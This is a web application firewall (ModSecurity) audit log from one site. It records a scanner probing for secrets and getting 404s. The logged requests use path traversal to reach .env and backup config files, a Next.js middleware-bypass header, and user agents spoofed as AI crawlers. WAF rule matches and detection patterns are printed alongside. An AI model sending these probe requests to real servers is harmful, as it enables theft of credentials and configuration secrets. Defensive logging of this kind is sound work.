[13/Sep/2026:16:26:19.444179 +0300] aqakezTJ6xTvcJoem7f99wAAAE0 34.73.17.152 40652 127.0.0.1 7081
--85f28c11-B--
GET /@fs/../.env?import&raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--85f28c11-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--85f28c11-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqakezTJ6xTvcJoem7f99wAAAE0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305979342073 102183 (- - -)
Stopwatch2: 1789305979342073 102183; combined=3785, p1=220, p2=3502, p3=0, p4=0, p5=63, sr=87, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--85f28c11-Z--
--86595d4f-A--
[13/Sep/2026:16:26:19.555354 +0300] aqakeysVWymXUono-eRXZgAAAAo 34.73.17.152 40682 127.0.0.1 7081
--86595d4f-B--
GET /.env?.svg?.wasm?init HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--86595d4f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--86595d4f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqakeysVWymXUono-eRXZgAAAAo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305979488497 66935 (- - -)
Stopwatch2: 1789305979488497 66935; combined=3597, p1=273, p2=3248, p3=0, p4=0, p5=76, sr=125, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--86595d4f-Z--
--89505539-A--
[13/Sep/2026:16:26:19.763494 +0300] aqake2M7dE9KgIIOpQiAzwAAAM0 34.73.17.152 40726 127.0.0.1 7081
--89505539-B--
GET /config.php.bak HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--89505539-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--89505539-H--
Message: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/config.php.bak"] [unique_id "aqake2M7dE9KgIIOpQiAzwAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305979684893 78671 (- - -)
Stopwatch2: 1789305979684893 78671; combined=4811, p1=294, p2=4460, p3=0, p4=0, p5=57, sr=118, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--89505539-Z--
--2bb9622f-A--
[13/Sep/2026:16:26:19.785019 +0300] aqakeysVWymXUono-eRXZwAAAAk 34.73.17.152 40706 127.0.0.1 7081
--2bb9622f-B--
GET /.env.local?.svg?.wasm?init HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--2bb9622f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--2bb9622f-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqakeysVWymXUono-eRXZwAAAAk"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqakeysVWymXUono-eRXZwAAAAk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305979584890 200186 (- - -)
Stopwatch2: 1789305979584890 200186; combined=37291, p1=228, p2=37000, p3=0, p4=0, p5=62, sr=98, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2bb9622f-Z--
--ff551b23-A--
[13/Sep/2026:16:26:19.817950 +0300] aqake2M7dE9KgIIOpQiA0AAAAMg 34.73.17.152 40738 127.0.0.1 7081
--ff551b23-B--
GET /public../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--ff551b23-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--ff551b23-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/public../.env"] [unique_id "aqake2M7dE9KgIIOpQiA0AAAAMg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305979716311 101695 (- - -)
Stopwatch2: 1789305979716311 101695; combined=4638, p1=278, p2=4302, p3=0, p4=0, p5=57, sr=104, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ff551b23-Z--
--afe42062-A--
[13/Sep/2026:16:26:19.960192 +0300] aqake0wu1RSkptiiNIX@VAAAAIQ 34.73.17.152 40750 127.0.0.1 7081
--afe42062-B--
GET /userfiles?path=../../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--afe42062-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--afe42062-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles"] [unique_id "aqake0wu1RSkptiiNIX@VAAAAIQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305979838910 121349 (- - -)
Stopwatch2: 1789305979838910 121349; combined=6204, p1=221, p2=5870, p3=0, p4=0, p5=113, sr=83, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--afe42062-Z--
--3d0ae932-A--
[13/Sep/2026:16:26:20.085557 +0300] aqake2M7dE9KgIIOpQiA0QAAAM8 34.73.17.152 40796 127.0.0.1 7081
--3d0ae932-B--
GET /@fs/var/task/.env?raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--3d0ae932-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--3d0ae932-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/var/task/.env"] [unique_id "aqake2M7dE9KgIIOpQiA0QAAAM8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305979977907 107769 (- - -)
Stopwatch2: 1789305979977907 107769; combined=3681, p1=211, p2=3343, p3=0, p4=0, p5=126, sr=83, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3d0ae932-Z--
--120cb473-A--
[13/Sep/2026:16:26:20.193827 +0300] aqakezTJ6xTvcJoem7f9@gAAAE8 34.73.17.152 40780 127.0.0.1 7081
--120cb473-B--
GET /configuration.php.bak HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--120cb473-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--120cb473-H--
Message: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/configuration.php.bak"] [unique_id "aqakezTJ6xTvcJoem7f9@gAAAE8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305979942882 251020 (- - -)
Stopwatch2: 1789305979942882 251020; combined=4643, p1=239, p2=4346, p3=0, p4=0, p5=58, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--120cb473-Z--
--d8eb9674-A--
[13/Sep/2026:16:26:20.197363 +0300] aqakeysVWymXUono-eRXaAAAABA 34.73.17.152 40770 127.0.0.1 7081
--d8eb9674-B--
GET /dist../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d8eb9674-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d8eb9674-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/dist../.env"] [unique_id "aqakeysVWymXUono-eRXaAAAABA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305979919676 277754 (- - -)
Stopwatch2: 1789305979919676 277754; combined=53400, p1=245, p2=53103, p3=0, p4=0, p5=51, sr=96, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d8eb9674-Z--
--8ea3a81a-A--
[13/Sep/2026:16:26:20.212095 +0300] aqakfGM7dE9KgIIOpQiA0gAAAMk 34.73.17.152 40818 127.0.0.1 7081
--8ea3a81a-B--
GET /userfiles?path=../../../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--8ea3a81a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8ea3a81a-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles"] [unique_id "aqakfGM7dE9KgIIOpQiA0gAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305980147644 64540 (- - -)
Stopwatch2: 1789305980147644 64540; combined=4942, p1=228, p2=4645, p3=0, p4=0, p5=69, sr=82, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8ea3a81a-Z--
--9f2fe058-A--
[13/Sep/2026:16:26:20.305552 +0300] aqakfEwu1RSkptiiNIX@VQAAAJc 34.73.17.152 40834 127.0.0.1 7081
--9f2fe058-B--
GET /.env.swp HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--9f2fe058-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--9f2fe058-H--
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.swp"] [unique_id "aqakfEwu1RSkptiiNIX@VQAAAJc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305980242231 63400 (- - -)
Stopwatch2: 1789305980242231 63400; combined=4337, p1=239, p2=4033, p3=0, p4=0, p5=65, sr=95, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9f2fe058-Z--
--2e27e94d-A--
[13/Sep/2026:16:26:20.355927 +0300] aqakfGM7dE9KgIIOpQiA0wAAANE 34.73.17.152 40846 127.0.0.1 7081
--2e27e94d-B--
GET /js../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--2e27e94d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--2e27e94d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
